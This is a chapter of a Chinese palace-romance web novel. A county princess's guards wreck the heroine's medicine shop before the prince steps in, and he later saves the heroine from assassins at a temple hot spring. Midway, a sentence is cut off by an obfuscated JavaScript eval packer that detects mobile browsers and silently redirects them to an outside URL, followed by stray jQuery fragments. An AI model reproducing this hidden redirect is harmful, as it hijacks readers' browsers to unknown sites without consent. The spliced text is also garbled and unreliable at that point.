养颐堂外,雨势渐急。
帷幔低垂的马车在街角停下。
“王爷,您在车内稍候片刻,属下给将士们取个药便回,今日顺路,明日我们便不经过这条巷道了。”
萧承翊倚着软枕翻阅书卷,闲闲地问:“京城闹市中心有的是大药铺,为何来这偏僻地方?”
“别处买不着。”关朔回禀,“这药可是我们王妃的方子。”
男人执书的手微微一顿,抬起眼眸。
“王妃特命医女配的春煦固元膏,是她外祖家的祖传秘方。近日多雨,营中不少将士旧伤发作,酸痛难忍。王妃说是药三分毒,日常调理还需药食相辅。”
萧承翊撩开车帘一角,透过密集的雨阵,目光落在药铺牌匾上。
养颐堂?
似乎有那么点模糊的印象。
视线被另一辆珠环翠绕的马车吸引过去,那马车直接堵在铺门前方,铺中传出嘈杂声,隐隐夹杂着斥骂与哭泣。
关朔也察觉异样,脸色陡然一变。
“定是长乐县主!她使阴湿手段断了养颐堂的药源,还嫌不够,竟自己上门找麻烦?”
“你的嘴是只管用饭的吗?为何不早说?”萧承翊眸中寒意凛然。
“属下说过了呀!我说养颐堂被人刁难,连药材都买不到,您也并未在意,我以为……”
关朔愣了愣,忽然瞪圆了眼。“您不知这药铺是王妃的嫁妆啊?”
萧承翊冷声下令,“去看看!”
养颐堂内一片狼藉,几名府卫正将药材从药柜中粗暴地扯出,瓶罐砸碎在地。
“你们不要这样!住手!”辛夷哭着制止,却被一把推倒在地。
满堂药材被肆意毁弃,店中伙计全都怒目而视,却无人敢上前。
眼前这些是国公府蓄养的护卫,寻常百姓谁敢以卵击石?
“县主这是为何?”辛夷用力抹去脸上泪痕,“青天白日,纵仆行凶,打砸商铺,县主眼中难道没有王法吗?!”
赵姝坐在椅上,冷声一笑。
“夏若初那个贱人动手打了我,以为可以安然无事?”
“她仗着生了张狐媚子脸,专门勾引男人为她出头。我真后悔,她在侯府的时候我就该划花她的脸,再把她沉塘淹死,在栖云观时不该只赏她那些鞭子,该把她卖到窑子里去!”
药柜被狠狠推倒,瓷罐碎裂声不绝于耳。
辛夷心痛不已,“我们四娘子如今贵为肃王妃,县主说话当心闪了舌头!”
“四娘子常教导我们,人立于世,当行得正、做得直,但求问心无愧。养颐堂济世救人,是为百姓谋福,不该受人欺辱。”
“四娘子还说过,若遇歹人,便要以牙还牙,否则便是助纣为虐。她从不忍气吞声,养颐堂也不做这缩头乌龟。”
辛夷声音陡然提高,带着决绝的恨意。
“众伙计,四娘子平日待我们如家人,我们怎可看她被人辱骂?给我上!”
药铺伙计个个红了眼,奋起抵抗,可终究难敌府兵,很快被压制在地,辛夷面上也被扇了两巴掌,鲜血从嘴角淌下。
赵姝笑不可抑。
“还指望夏若初给你们撑腰啊?即便是宫中的娘娘失宠,连宫女太监都可以欺辱,何况她一个未拜堂的王妃?”
“夏若初能不能活过这几日都未可知。”
“你说什么?”辛夷大惊。
赵姝得意地笑。
“依国法沈家商铺划归我国公府,在栖云观时她咬死不肯交出秘药的方子,本县主便赏她些苦头吃,让人用淬了毒草的鞭子抽打她。”
“她身上的伤,每逢这样的天气必发作,这几日雨水连绵,她此刻定是痛不欲生高烧不退。你们的王妃,怕是要一命呜呼了……”
话音戛然而止。
一柄寒剑架在了赵姝的颈项上,剑锋杀气凌厉。
“何人放肆!”为首的府兵霍然拔刀袭来。
剑柄上四爪蟠龙墨玉寒光闪烁,剑尖已刺穿那名府兵的眼睛。
-
夜深,露重。
温泉水汽氤氲,驱散了夜雨的寒冷。
浸泡在药池中,夏若初意识昏昏沉沉。
莲灯寺的温泉素有疗伤驱寒的功效,将药草浸入其中,可以缓解高烧和伤痛。
前些时日辛夷用秘制伤药为她调理,背上的旧伤只剩淡淡的红痕,只是彻底根除毒素还需要时日。
四周支着素纱帷幔,侍女与亲卫于数米外静立守护,为她隔绝出一方静谧的天地。
竹骨风灯晕开朦胧的光晕,夏若初长睫低垂,却毫无睡意。
稍早时,忘尘大师亲自领懂医术的僧人为她诊脉煎药。
“有劳大师,若我真有不测,断不会怪责莲灯寺。”夏若初反宽慰他。
“王妃言重了,老衲不过尽绵薄之力。王妃吉人天相,王爷此时定然已知您困于寺中,很快便会来接您。”
夏若初淡淡苦笑,“他不会来的。”
她迟迟未归,第一个想到她被困在寺中的应该是萧老夫人。
可府中只有值守护卫,天黑雨急,山路难行,寻常护卫也不敢冒然进山。
若要等萧承翊调动玄甲卫,最快也得明日。
她无法控制心底不断滋生的可怕想法。
萧承翊会不会根本不管她?
如果她感染风寒病重不起,他是不是正好任她自生自灭?既能彻底摆脱她,还无须承受太夫人和皇上的责难。
“老衲相信,纵使千难万难,肃王也定会设法前来。”
忘尘大师的声音沉静而笃定。
“绍兴初年,王爷时年十六,临危受命,于江北大破敌军。敌军败退时纵火屠城,王爷为救百姓奋战整夜,咽喉被烈火浓烟灼伤,乃至失声两月,江淮百姓至今感念。”
“一个能为苍生赴死之人,又怎会弃结发之妻于不顾?”
一个能为苍生赴死之人。
夏若初恍然如梦。
她忆起了这段往事。
那年她刚满十二,是侯府千娇万宠的嫡小姐。
三月阳春,柳絮正软,桃花初绽。
听闻阿兄随北伐大军凯旋,她按捺不住,趁着阖府张灯结彩的忙乱,拉着侍女便溜出了门。
长街两侧,欢呼声如潮水般涌起。她挤在人群中,踮着脚望去。
她便看见那行进在前方的主帅。
少年将军高高端坐于骏马之上,一身银甲玄盔,身姿挺拔如松。阳光穿过初绽的桃枝,不及他眸中半分清亮。
道旁一个垂髫小儿不慎跌入官道,在亲卫动作之前,他已抬手止住身后的大军。
待那惊慌的母亲将孩儿抱回人潮,方振臂挥下。
男人周身凌冽的锋芒,夏若初却真切地望见,那双黑眸中的笑意与温柔。
后来,她便日日缠住夏云骁,追问战场上的事。
这才得知,萧承翊当初明知国库亏空、粮草难继,仍毅然领兵出征。
朝中有人贪墨军饷,军粮中掺了喂牲畜的麸皮和米糠,他率轻骑一夜连破敌军三座粮仓,解了全军燃眉之急。
凯旋归京之日,他将掺假的军粮掷于大殿之上,剑指丞相,震得满殿官员面无血色。
他是宁可马革裹尸,也绝不与那些视将士性命如草芥之徒同列朝堂。
众将皆知,年轻的郡王常佩两样兵器。
一是御赐的四爪蟠龙墨玉剑,另有一把流星弩,小巧可藏于袖,是父亲镇远将军萧策的遗物。
一明一暗,神出鬼没,顷刻间取人性命。
经年沙场锤炼,加上嗓音低沉,使他较之同龄人更显冷冽持重。
咽喉灼伤是非常痛苦的。
起初连清水都难以吞咽,食硬物则痛,沾油腥即吐,可是军情紧急,为维持体力,他强咽干粮、硬灌糙粥,从不吭一声。
经医官调理虽渐好转,嗓音却再不似
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999251|193943||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
少年时清亮。
夏若初从未想过,这位遇神杀神遇鬼斩鬼的战神,有朝一日会成为她的夫君。
朦胧中忆起萧承翊的声音,低哑醇厚。
不觉得难听,反觉有种磨人的磁性。
尤记得他故意贴近耳畔,低语“夫妻之实”时,那气息拂过她娇嫩的肌肤,从耳际到心尖皆酥麻了一片。
“结发之妻,只怕我们没有那样的缘分。”面对慈悲的高僧,夏若初不觉吐露了心事。
“我从未害人,可没有人相信我,连王爷也不信。”
“行善者自有善缘相护。王妃若心若皎月,又何惧浮云暂蔽。”忘尘大师沉吟片刻,“不过老衲也有一事不明。”
“萧夫人之事,老衲曾命僧众守口如瓶。然则次日,此事便传遍京城,连侯府的车马长什么样子,都描绘得如同亲眼所见。”
“而所传之车马,与老衲当日所见并不相同。”
犹如暗夜中划过一道电光,夏若初心头微动。
“大师,您记起了什么?王爷可知道?”
“老衲依稀记得,那日侯府来的是青帷车马,十分低调。可传言中却成了朱轮华盖。”忘尘大师合掌一叹。
“此事并无实证,王妃只当老衲年迈记错了。王爷极为忌讳,老衲不便多言。”
大师再不愿多说,夏若初也不想强人所难。
但这番话却足以令她辗转难寐。
温泉水滑腻温暖,抚不平她内心的忐忑。
这桩旧事一定有蹊跷。
如果当日有人故意陷害她,将萧夫人的死栽赃给她,那这个人就有了不可告人的秘密掌握在她手中。
可惜她不知为何失去了那段记忆。
不管对方是谁,那人肯定不愿她回忆起来,定然也不愿她再接近莲灯寺。
然而她来了。
在这冷寂的山中,身边仅四名亲卫,一个不会武功的侍女。
寒意自脚底缓缓蔓延,她难以抑制地微微发抖。
想让一个人永远闭嘴,最好的法子就是让她变成一个死人。
下一刻,箭矢的破空声划过——
啪!竹骨风灯应声而碎。
“有刺客!”
帘帐外人影骤乱,刀剑相击之声响起。
“保护王妃!”
“姑娘小心啊!”
呼喊声、兵刃声交织成混乱的一片。
人影幢幢,刀光愈密,好似来袭的人越来越多。
鲜血不断溅上素白纱帘,如红梅绽放。
夏若初几时见过这种场面,吓得魂飞魄散,她手软脚软地攀住池沿爬上来。
轻绸湿衣紧贴肌肤,在白纱帘上映出婀娜的曲线。
就在她起身的刹那,冷箭破空而来。
电光石火间,一道玄色身影如鹰隼般掠至,将她搂入怀中,双双跌入温热的池水。
水花四溅。
没顶的恐慌只是一瞬,一只有力的臂膀已将她托出水面。
她本能地挣扎,那只臂膀收得更紧,柔软的身躯牢牢控在钢筋铁骨的怀抱中。
“别动,危险。”
熟悉的低磁嗓音贴着耳廓,带着温热的吐息。
顷刻间,山风呜咽、刀光剑影都化为虚无的背景。
她烧得昏沉,怔怔抬眼,那张轮廓俊朗的脸近在咫尺,双眸幽深看着她。
他身上好暖,她不自觉往那怀里偎得更紧,小手死死攥住他湿透的衣襟。
察觉她异常的体温,他眉心微蹙,“夏若初,你是真不让人省心。”
怀中的人只是睁着迷蒙的眼,一言不发。
那副模样,不知是吓魔怔了,还是烧糊涂了。
大掌托住她的脸,声音有丝焦灼,“说话啊。不认得本王了?”
一颗滚烫的眼泪砸在他手背上。
紧接着一颗,又一颗,夏若初哽咽出声。
“我以为你不会来了。”